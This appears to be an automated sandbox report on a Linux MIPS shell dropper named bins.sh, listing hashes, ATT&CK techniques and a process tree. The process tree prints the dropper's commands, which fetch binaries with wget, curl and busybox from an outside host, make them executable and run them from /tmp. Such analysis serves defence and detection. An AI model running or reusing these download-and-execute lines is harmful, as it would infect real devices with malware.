bfb23eb934f3883d78cf1eac1564c0134e0dcaf113d1d181f6cfa3a286ba15df

Analysis

max time kernel
150s
max time network
34s
platform
debian-9_mips
resource
debian9-mipsbe-20240611-en
resource tags

arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
21-11-2024 06:56

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General

Target

bins.sh
Size

10KB
MD5

0aa36dbe759c8d988e78a4412cf5063a
SHA1

552ab3a8677b9f2d930adb11c1444a26b37c0127
SHA256

bfb23eb934f3883d78cf1eac1564c0134e0dcaf113d1d181f6cfa3a286ba15df
SHA512

efecf14821061e965eb5296d96de0faa0895d3a49a07ff769c847ef448f750876a33f6dda7369fb2f2f608eb6098dc062dfbd176a97c532397d41ee476cd0a92
SSDEEP

192:p5Me8mAURUpUEdUTUHUO39v8kURUpUEdUTUHUmC:p5Me8mAg85dCyx9v8kg85dCyI

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 2 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
725	chmod
733	chmod

Executes dropped EXE 2 IoCs

ioc	pid	Process
/tmp/AIKFd1F62S9ypr3cTLM61YGcbHz8RbyaLI	726	AIKFd1F62S9ypr3cTLM61YGcbHz8RbyaLI
/tmp/Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL	734	Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL

Reads runtime system information 3 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

System Network Configuration Discovery 1 TTPs 8 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
737	wget
744	curl
701	wget
722	curl
724	busybox
729	wget
730	curl
732	busybox

Writes file to tmp directory 7 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL	wget
File opened for modification	/tmp/Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL	curl
File opened for modification	/tmp/Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL	busybox
File opened for modification	/tmp/7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD	wget
File opened for modification	/tmp/AIKFd1F62S9ypr3cTLM61YGcbHz8RbyaLI	wget
File opened for modification	/tmp/AIKFd1F62S9ypr3cTLM61YGcbHz8RbyaLI	curl
File opened for modification	/tmp/AIKFd1F62S9ypr3cTLM61YGcbHz8RbyaLI	busybox

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:692
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:699
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/AIKFd1F62S9ypr3cTLM61YGcbHz8RbyaLI
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:701
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/AIKFd1F62S9ypr3cTLM61YGcbHz8RbyaLI
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:722
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/AIKFd1F62S9ypr3cTLM61YGcbHz8RbyaLI
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:724
- /bin/chmod
  chmod 777 AIKFd1F62S9ypr3cTLM61YGcbHz8RbyaLI
  2⤵
  - File and Directory Permissions Modification
  PID:725
- /tmp/AIKFd1F62S9ypr3cTLM61YGcbHz8RbyaLI
  ./AIKFd1F62S9ypr3cTLM61YGcbHz8RbyaLI
  2⤵
  - Executes dropped EXE
  PID:726
- /bin/rm
  rm AIKFd1F62S9ypr3cTLM61YGcbHz8RbyaLI
  2⤵
  PID:728
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:729
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:730
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:732
- /bin/chmod
  chmod 777 Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
  2⤵
  - File and Directory Permissions Modification
  PID:733
- /tmp/Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
  ./Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
  2⤵
  - Executes dropped EXE
  PID:734
- /bin/rm
  rm Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
  2⤵
  PID:736
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:737
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  PID:744

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

/tmp/7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD

Filesize
141KB

MD5
3ca8decdb1e52c423c521bfff02ac200

SHA1
8621ecd6807109b8541912ad9e134f6fb49bfd48

SHA256
dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

SHA512
b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

Download Submit
/tmp/AIKFd1F62S9ypr3cTLM61YGcbHz8RbyaLI

Filesize
107KB

MD5
eb9c3a0de91fcf16ba17cb24608df68c

SHA1
09d95a7d70d5e115d103be51edff7c498d272fac

SHA256
dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

SHA512
9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

Download Submit
/tmp/Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL

Filesize
98KB

MD5
5141342d0df8699fa32a6b066a0c592e

SHA1
8157673225bd5182f16215e2aa823a25ca2d4fbc

SHA256
54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

SHA512
d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

Download Submit